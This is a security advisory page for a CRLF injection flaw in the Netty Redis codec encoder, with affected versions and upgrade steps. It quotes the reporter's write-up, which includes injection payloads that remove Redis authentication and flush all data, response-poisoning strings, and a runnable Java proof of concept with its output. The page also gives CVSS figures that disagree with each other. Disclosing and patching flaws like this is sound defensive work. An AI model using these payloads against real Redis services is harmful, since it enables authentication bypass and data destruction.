CVE-2026-42586: Netty codec redis Netty Redis Codec Encoder Has Vulnerability
MODERATE
Advisory Identifier:
GHSA-rgrr-p7gp-5xj7
Advisory Summary
CVE-2026-42586 is a MODERATE (CVSS 6.8) netty redis codec encoder has vulnerability (CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')) affecting Netty codec redis libraries in the Maven ecosystem. The issue involves netty redis codec encoder has a crlf injection issue. Remediation is available by upgrading affected packages to version 4.2.13.Final, 4.1.133.Final.
CVE-2026-42586 at a Glance
CVE Identifier
CVE-2026-42586
GHSA Identifier
GHSA-rgrr-p7gp-5xj7
Severity
MODERATE
CVSS v3.1 Base Score
6.8
CWE Classification
CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')
Affected Product
Netty codec redis
Package Ecosystem
Maven
Published Date
Last Updated
Security Impact
CVSS: 6.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N).
Attack Vector
Local (AV:L)
Attack Complexity
Low (AC:L)
Privileges Required
None (PR:N)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
Low (C:L)
Integrity
High (I:H)
Availability
None (A:N)
How to Fix CVE-2026-42586
To remediate this vulnerability, upgrade all affected Netty codec redis dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
io.netty:netty-codec-redis
fixed: 4.2.13.Final
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-codec-redis</artifactId>
<version>4.2.13.Final</version>
</dependency>
io.netty:netty-codec-redis
fixed: 4.1.133.Final
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-codec-redis</artifactId>
<version>4.1.133.Final</version>
</dependency>
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=io.nettyHow to Check if You Are Affected
To determine whether your Java application is affected by CVE-2026-42586, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=io.nettyAnalyze the terminal output to locate any version of Netty codec redis in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.2.13.Final), your application is affected.
Note: The mvn dependency:tree -Dincludes=io.netty command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection'), where the product uses crlf (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes crlf sequences from inputs. In Netty codec redis, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
# Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder
## 1. Vulnerability Summary
| Field | Value |
|-------|-------|
| **Product** | Netty |
| **Version** | 4.2.12.Final (and all prior versions with codec-redis) |
| **Component** | `io.netty.handler.codec.redis.RedisEncoder` |
| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) |
| **Impact** | Redis Command Injection / Response Poisoning |
| **Attack Vector** | Network |
| **Attack Complexity** | Low |
| **Privileges Required** | None |
| **User Interaction** | None |
| **Scope** | Unchanged |
| **Confidentiality Impact** | High |
| **Integrity Impact** | High |
| **Availability Impact** | None |
## 2. Affected Components
The following classes in the `codec-redis` module are affected:
- `io.netty.handler.codec.redis.RedisEncoder` (encoder - no output validation)
- `io.netty.handler.codec.redis.InlineCommandRedisMessage` (no input validation)
- `io.netty.handler.codec.redis.SimpleStringRedisMessage` (no input validation)
- `io.netty.handler.codec.redis.ErrorRedisMessage` (no input validation)
- `io.netty.handler.codec.redis.AbstractStringRedisMessage` (base class - no validation)
## 3. Vulnerability Description
The Netty Redis codec encoder (`RedisEncoder`) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (`\r\n`) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.
### Root Cause
In `RedisEncoder.java`, the `writeString()` method (lines 103-111) writes content using `ByteBufUtil.writeUtf8()` without any validation:
```java
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
String content, List<Object> out) {
ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +
RedisConstants.EOL_LENGTH);
type.writeTo(buf);
ByteBufUtil.writeUtf8(buf, content); // <-- NO CRLF VALIDATION
buf.writeShort(RedisConstants.EOL_SHORT); // <-- Appends \r\n
out.add(buf);
}
```
The message constructors (`InlineCommandRedisMessage`, `SimpleStringRedisMessage`, `ErrorRedisMessage`) inherit from `AbstractStringRedisMessage`, which only checks for null:
```java
// AbstractStringRedisMessage.java:30-32
AbstractStringRedisMessage(String content) {
this.content = ObjectUtil.checkNotNull(content, "content");
// NO CRLF validation
}
```
### Comparison with Similar Fixed CVEs
This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:
| CVE | Component | Fix |
|-----|-----------|-----|
| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder - SMTP command injection | Added `SmtpUtils.validateSMTPParameters()` to check for `\r` and `\n` |
| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder - CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` to check for `\r`, `\n`, and SP |
The Redis codec has **no equivalent validation** in either the encoder or the message constructors.
## 4. Exploitability Prerequisites
This vulnerability is exploitable when **all** of the following conditions are met:
1. The application uses Netty's `codec-redis` module to communicate with a Redis server
2. User-controlled input is placed into `InlineCommandRedisMessage`, `SimpleStringRedisMessage`, or `ErrorRedisMessage` content
3. The application does **not** perform its own CRLF sanitization before constructing these message objects
**Important context**: Most production Redis clients built on Netty use the RESP array format (`ArrayRedisMessage` + `BulkStringRedisMessage`), which uses binary-safe length-prefixed encoding and is **not** affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.
**Affected use cases include**:
- Custom Redis clients or proxies that use `InlineCommandRedisMessage` for simplicity
- Redis middleware/proxy layers that forward `SimpleStringRedisMessage` or `ErrorRedisMessage` responses
- Applications that construct Redis monitoring or diagnostic commands from user input
- Redis Sentinel or Cluster management tools using inline command format
## 5. Attack Scenarios
### Scenario 1: Redis Command Injection via Inline Commands
When Netty is used as a Redis client or proxy, and user-controlled data is placed into `InlineCommandRedisMessage`, an attacker can inject arbitrary Redis commands:
```java
// Application code that builds Redis commands from user input
String userKey = request.getParameter("key"); // Attacker controls this
InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey);
channel.writeAndFlush(msg);
```
**Attack input**: `key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"`
**Result**: Three commands sent to Redis:
1. `GET foo`
2. `CONFIG SET requirepass ""` (removes authentication!)
3. `FLUSHALL` (deletes all data!)
### Scenario 2: Redis Response Poisoning
When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:
```java
// Proxy forwarding a simple string response
SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);
downstreamChannel.writeAndFlush(response);
```
**Malicious upstream response**: `"OK\r\n$6\r\nhacked"`
**Client sees**:
1. Simple String: `+OK` (expected response)
2. Bulk String: `$6\r\nhacked` (injected fake data!)
### Scenario 3: Error Message Injection
```java
ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail);
```
**Attack input**: `errorDetail = "unknown\r\n+FAKE_SUCCESS"`
**Client sees**:
1. Error: `-ERR unknown`
2. Simple String: `+FAKE_SUCCESS` (injected fake success!)
## 6. Proof of Concept
### Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)
```java
import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;
import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;
/**
* PoC: Redis Encoder CRLF Injection Vulnerability
*
* Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
* and ErrorRedisMessage do not validate content for CRLF characters,
* allowing Redis command injection via the RESP protocol.
*/
public class RedisEncoderCRLFInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");
testInlineCommandInjection();
testSimpleStringInjection();
testErrorMessageInjection();
System.out.println("\n=== PoC Complete ===");
}
/**
* Test 1: Inline Command Injection
* An attacker-controlled string injected into InlineCommandRedisMessage
* results in multiple Redis commands being sent.
*/
static void testInlineCommandInjection() {
System.out.println("[TEST 1] Inline Command CRLF Injection");
System.out.println("----------------------------------------");
// Malicious content: inject FLUSHALL after a benign PING
String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
// This should be rejected but is accepted
InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: InlineCommandRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
// Count how many CRLF-delimited commands are in the output
String[] commands = encoded.split("\r\n");
System.out.println("Number of commands parsed by Redis: " + commands.length);
for (int i = 0; i < commands.length; i++) {
if (!commands[i].isEmpty()) {
System.out.println(" Command " + (i + 1) + ": " + commands[i]);
}
}
boolean vulnerable = commands.length > 1;
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
System.out.println();
}
/**
* Test 2: SimpleString Response Injection
* When Netty acts as a Redis proxy/middleware, a malicious SimpleString
* can inject fake responses to the downstream client.
*/
static void testSimpleStringInjection() {
System.out.println("[TEST 2] SimpleString Response CRLF Injection");
System.out.println("----------------------------------------------");
// Malicious content: inject a fake bulk string response after OK
String maliciousContent = "OK\r\n$6\r\nhacked";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: SimpleStringRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
// The RESP protocol uses the first byte to determine type:
// '+' = Simple String, '$' = Bulk String
// A client parsing this would see:
// 1. "+OK\r\n" -> Simple String "OK"
// 2. "$6\r\nhacked" -> Bulk String "hacked" (injected!)
boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
System.out.println();
}
/**
* Test 3: Error Message Injection
* Similar to SimpleString but with error messages.
*/
static void testErrorMessageInjection() {
System.out.println("[TEST 3] Error Message CRLF Injection");
System.out.println("--------------------------------------");
String maliciousContent = "ERR unknown\r\n+INJECTED_OK";
EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());
ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
channel.writeOutbound(msg);
ByteBuf output = channel.readOutbound();
String encoded = output.toString(StandardCharsets.UTF_8);
output.release();
channel.finishAndReleaseAll();
System.out.println("Input: ErrorRedisMessage(\"" +
maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
System.out.println("Encoded: \"" +
encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");
boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
System.out.println();
}
}
```
### How to Compile and Run
```bash
# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \
-Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
-Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java
java -cp "$JARS:." RedisEncoderCRLFInjectionPoC
```
### PoC Execution Output (Verified on Netty 4.2.12.Final)
```
=== Netty Redis Encoder CRLF Injection PoC ===
[TEST 1] Inline Command CRLF Injection
----------------------------------------
Input: InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL")
Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n"
Number of commands parsed by Redis: 3
Command 1: PING
Command 2: CONFIG SET requirepass ""
Command 3: FLUSHALL
VULNERABLE: YES - Multiple commands injected!
[TEST 2] SimpleString Response CRLF Injection
----------------------------------------------
Input: SimpleStringRedisMessage("OK\r\n$6\r\nhacked")
Encoded: "+OK\r\n$6\r\nhacked\r\n"
VULNERABLE: YES - Response poisoning possible!
[TEST 3] Error Message CRLF Injection
--------------------------------------
Input: ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK")
Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n"
VULNERABLE: YES - Error + fake OK injected!
=== PoC Complete ===
```
## 7. Impact Analysis
| Impact Category | Description |
|----------------|-------------|
| **Confidentiality** | HIGH - Attacker can execute `CONFIG GET` to extract sensitive Redis configuration, use `KEYS *` to enumerate all data |
| **Integrity** | HIGH - Attacker can execute `SET`/`DEL`/`FLUSHALL` to modify or destroy data, `CONFIG SET` to change server configuration |
| **Availability** | Can be HIGH - `FLUSHALL` destroys all data, `SHUTDOWN` stops the server, `DEBUG SLEEP` causes DoS |
| **Authentication Bypass** | `CONFIG SET requirepass ""` removes authentication |
| **Data Exfiltration** | Lua scripting via `EVAL` enables complex data extraction |
## 8. Remediation Recommendations
### Option 1: Validate in Message Constructors (Recommended)
Add CRLF validation to `AbstractStringRedisMessage`:
```java
AbstractStringRedisMessage(String content) {
this.content = ObjectUtil.checkNotNull(content, "content");
validateContent(content);
}
private static void validateContent(String content) {
for (int i = 0; i < content.length(); i++) {
char c = content.charAt(i);
if (c == '\r' || c == '\n') {
throw new IllegalArgumentException(
"Redis message content contains illegal CRLF character at index " + i);
}
}
}
```
### Option 2: Validate in Encoder (Defense-in-Depth)
Add validation in `RedisEncoder.writeString()`:
```java
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
String content, List<Object> out) {
for (int i = 0; i < content.length(); i++) {
char c = content.charAt(i);
if (c == '\r' || c == '\n') {
throw new RedisCodecException(
"Redis message content contains CRLF at index " + i);
}
}
// ... existing encoding logic
}
```
### Option 3: Both (Best Practice)
Apply validation in both the constructor and the encoder, following the pattern used for SMTP:
- `SmtpUtils.validateSMTPParameters()` validates in `DefaultSmtpRequest` constructor
- This provides defense-in-depth against custom `SmtpRequest` implementations
## 9. Resources
- [RESP Protocol Specification](https://redis.io/docs/reference/protocol-spec/)
- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)
- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)
- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)
CVE-2026-42586 Affected Netty codec redis Versions
2 component(s)
Fixed Versions:
4.2.13.Final4.1.133.Final
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
io.netty:netty-codec-redis
|
Maven |
≥ 4.2.0.Alpha1
< 4.2.13.Final
|
4.2.13.Final
|
|
io.netty:netty-codec-redis
|
Maven |
< 4.1.133.Final
|
4.1.133.Final
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4
GitHub Advisory / Wiki
ADVISORY
https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86
GitHub Advisory / Wiki
ADVISORY
https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7
NVD — CVE-2026-42586
NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-42586
Netty codec redis Source Repository
REPOSITORY
https://github.com/netty/netty
redis.io/docs/reference/prot...
WEB
https://redis.io/docs/reference/protocol-spec
Frequently Asked Questions
What is CVE-2026-42586?
CVE-2026-42586 is a security vulnerability in Netty codec redis involving Netty Redis Codec Encoder has a CRLF Injection Issue under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection').
Which Netty codec redis versions are affected?
Affected versions include releases prior to 4.2.13.Final, 4.1.133.Final across affected packages: io.netty:netty-codec-redis.
What version fixes CVE-2026-42586?
Upgrading to 4.2.13.Final, 4.1.133.Final (or the latest patched release for your respective branch) resolves the vulnerability.
Is netty-codec-redis affected?
Yes, io.netty:netty-codec-redis is affected in releases prior to 4.2.13.Final, 4.1.133.Final. Upgrade your dependency to 4.2.13.Final, 4.1.133.Final or later.
What is the CVSS score of CVE-2026-42586?
CVE-2026-42586 has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N.
What CWE is associated with CVE-2026-42586?
CVE-2026-42586 is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.).
How can I check Maven dependencies for CVE-2026-42586?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=io.netty'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-rgrr-p7gp-5xj7",
"modified" : "2026-05-14T20:41:24Z",
"published" : "2026-05-07T00:24:08Z",
"aliases" : [ "CVE-2026-42586" ],
"summary" : "Netty Redis Codec Encoder has a CRLF Injection Issue",
"details" : "# Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-redis) |\n| **Component** | `io.netty.handler.codec.redis.RedisEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) |\n| **Impact** | Redis Command Injection / Response Poisoning |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | None |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-redis` module are affected:\n\n- `io.netty.handler.codec.redis.RedisEncoder` (encoder - no output validation)\n- `io.netty.handler.codec.redis.InlineCommandRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.SimpleStringRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.ErrorRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.AbstractStringRedisMessage` (base class - no validation)\n\n## 3. Vulnerability Description\n\nThe Netty Redis codec encoder (`RedisEncoder`) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (`\\r\\n`) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.\n\n### Root Cause\n\nIn `RedisEncoder.java`, the `writeString()` method (lines 103-111) writes content using `ByteBufUtil.writeUtf8()` without any validation:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n String content, List<Object> out) {\n ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +\n RedisConstants.EOL_LENGTH);\n type.writeTo(buf);\n ByteBufUtil.writeUtf8(buf, content); // <-- NO CRLF VALIDATION\n buf.writeShort(RedisConstants.EOL_SHORT); // <-- Appends \\r\\n\n out.add(buf);\n}\n```\n\nThe message constructors (`InlineCommandRedisMessage`, `SimpleStringRedisMessage`, `ErrorRedisMessage`) inherit from `AbstractStringRedisMessage`, which only checks for null:\n\n```java\n// AbstractStringRedisMessage.java:30-32\nAbstractStringRedisMessage(String content) {\n this.content = ObjectUtil.checkNotNull(content, \"content\");\n // NO CRLF validation\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder - SMTP command injection | Added `SmtpUtils.validateSMTPParameters()` to check for `\\r` and `\\n` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder - CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` to check for `\\r`, `\\n`, and SP |\n\nThe Redis codec has **no equivalent validation** in either the encoder or the message constructors.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty's `codec-redis` module to communicate with a Redis server\n2. User-controlled input is placed into `InlineCommandRedisMessage`, `SimpleStringRedisMessage`, or `ErrorRedisMessage` content\n3. The application does **not** perform its own CRLF sanitization before constructing these message objects\n\n**Important context**: Most production Redis clients built on Netty use the RESP array format (`ArrayRedisMessage` + `BulkStringRedisMessage`), which uses binary-safe length-prefixed encoding and is **not** affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.\n\n**Affected use cases include**:\n- Custom Redis clients or proxies that use `InlineCommandRedisMessage` for simplicity\n- Redis middleware/proxy layers that forward `SimpleStringRedisMessage` or `ErrorRedisMessage` responses\n- Applications that construct Redis monitoring or diagnostic commands from user input\n- Redis Sentinel or Cluster management tools using inline command format\n\n## 5. Attack Scenarios\n\n### Scenario 1: Redis Command Injection via Inline Commands\n\nWhen Netty is used as a Redis client or proxy, and user-controlled data is placed into `InlineCommandRedisMessage`, an attacker can inject arbitrary Redis commands:\n\n```java\n// Application code that builds Redis commands from user input\nString userKey = request.getParameter(\"key\"); // Attacker controls this\nInlineCommandRedisMessage msg = new InlineCommandRedisMessage(\"GET \" + userKey);\nchannel.writeAndFlush(msg);\n```\n\n**Attack input**: `key = \"foo\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\"`\n\n**Result**: Three commands sent to Redis:\n1. `GET foo`\n2. `CONFIG SET requirepass \"\"` (removes authentication!)\n3. `FLUSHALL` (deletes all data!)\n\n### Scenario 2: Redis Response Poisoning\n\nWhen Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:\n\n```java\n// Proxy forwarding a simple string response\nSimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);\ndownstreamChannel.writeAndFlush(response);\n```\n\n**Malicious upstream response**: `\"OK\\r\\n$6\\r\\nhacked\"`\n\n**Client sees**:\n1. Simple String: `+OK` (expected response)\n2. Bulk String: `$6\\r\\nhacked` (injected fake data!)\n\n### Scenario 3: Error Message Injection\n\n```java\nErrorRedisMessage error = new ErrorRedisMessage(\"ERR \" + errorDetail);\n```\n\n**Attack input**: `errorDetail = \"unknown\\r\\n+FAKE_SUCCESS\"`\n\n**Client sees**:\n1. Error: `-ERR unknown`\n2. Simple String: `+FAKE_SUCCESS` (injected fake success!)\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.ByteBufUtil;\nimport io.netty.buffer.UnpooledByteBufAllocator;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.redis.*;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.List;\nimport java.util.ArrayList;\n\n/**\n * PoC: Redis Encoder CRLF Injection Vulnerability\n *\n * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,\n * and ErrorRedisMessage do not validate content for CRLF characters,\n * allowing Redis command injection via the RESP protocol.\n */\npublic class RedisEncoderCRLFInjectionPoC {\n\n public static void main(String[] args) {\n System.out.println(\"=== Netty Redis Encoder CRLF Injection PoC ===\\n\");\n\n testInlineCommandInjection();\n testSimpleStringInjection();\n testErrorMessageInjection();\n\n System.out.println(\"\\n=== PoC Complete ===\");\n }\n\n /**\n * Test 1: Inline Command Injection\n * An attacker-controlled string injected into InlineCommandRedisMessage\n * results in multiple Redis commands being sent.\n */\n static void testInlineCommandInjection() {\n System.out.println(\"[TEST 1] Inline Command CRLF Injection\");\n System.out.println(\"----------------------------------------\");\n\n // Malicious content: inject FLUSHALL after a benign PING\n String maliciousContent = \"PING\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n // This should be rejected but is accepted\n InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);\n channel.writeOutbound(msg);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"Input: InlineCommandRedisMessage(\\\"\" +\n maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n System.out.println(\"Encoded: \\\"\" +\n encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n // Count how many CRLF-delimited commands are in the output\n String[] commands = encoded.split(\"\\r\\n\");\n System.out.println(\"Number of commands parsed by Redis: \" + commands.length);\n for (int i = 0; i < commands.length; i++) {\n if (!commands[i].isEmpty()) {\n System.out.println(\" Command \" + (i + 1) + \": \" + commands[i]);\n }\n }\n\n boolean vulnerable = commands.length > 1;\n System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Multiple commands injected!\" : \"NO\"));\n System.out.println();\n }\n\n /**\n * Test 2: SimpleString Response Injection\n * When Netty acts as a Redis proxy/middleware, a malicious SimpleString\n * can inject fake responses to the downstream client.\n */\n static void testSimpleStringInjection() {\n System.out.println(\"[TEST 2] SimpleString Response CRLF Injection\");\n System.out.println(\"----------------------------------------------\");\n\n // Malicious content: inject a fake bulk string response after OK\n String maliciousContent = \"OK\\r\\n$6\\r\\nhacked\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);\n channel.writeOutbound(msg);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"Input: SimpleStringRedisMessage(\\\"\" +\n maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n System.out.println(\"Encoded: \\\"\" +\n encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n // The RESP protocol uses the first byte to determine type:\n // '+' = Simple String, '$' = Bulk String\n // A client parsing this would see:\n // 1. \"+OK\\r\\n\" -> Simple String \"OK\"\n // 2. \"$6\\r\\nhacked\" -> Bulk String \"hacked\" (injected!)\n boolean vulnerable = encoded.contains(\"+OK\\r\\n$6\\r\\nhacked\");\n System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Response poisoning possible!\" : \"NO\"));\n System.out.println();\n }\n\n /**\n * Test 3: Error Message Injection\n * Similar to SimpleString but with error messages.\n */\n static void testErrorMessageInjection() {\n System.out.println(\"[TEST 3] Error Message CRLF Injection\");\n System.out.println(\"--------------------------------------\");\n\n String maliciousContent = \"ERR unknown\\r\\n+INJECTED_OK\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);\n channel.writeOutbound(msg);\n\n ByteBuf output = channel.readOutbound();\n String encoded = output.toString(StandardCharsets.UTF_8);\n output.release();\n channel.finishAndReleaseAll();\n\n System.out.println(\"Input: ErrorRedisMessage(\\\"\" +\n maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n System.out.println(\"Encoded: \\\"\" +\n encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n boolean vulnerable = encoded.contains(\"-ERR unknown\\r\\n+INJECTED_OK\");\n System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Error + fake OK injected!\" : \"NO\"));\n System.out.println();\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \\\n -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Compile and run\njavac -cp 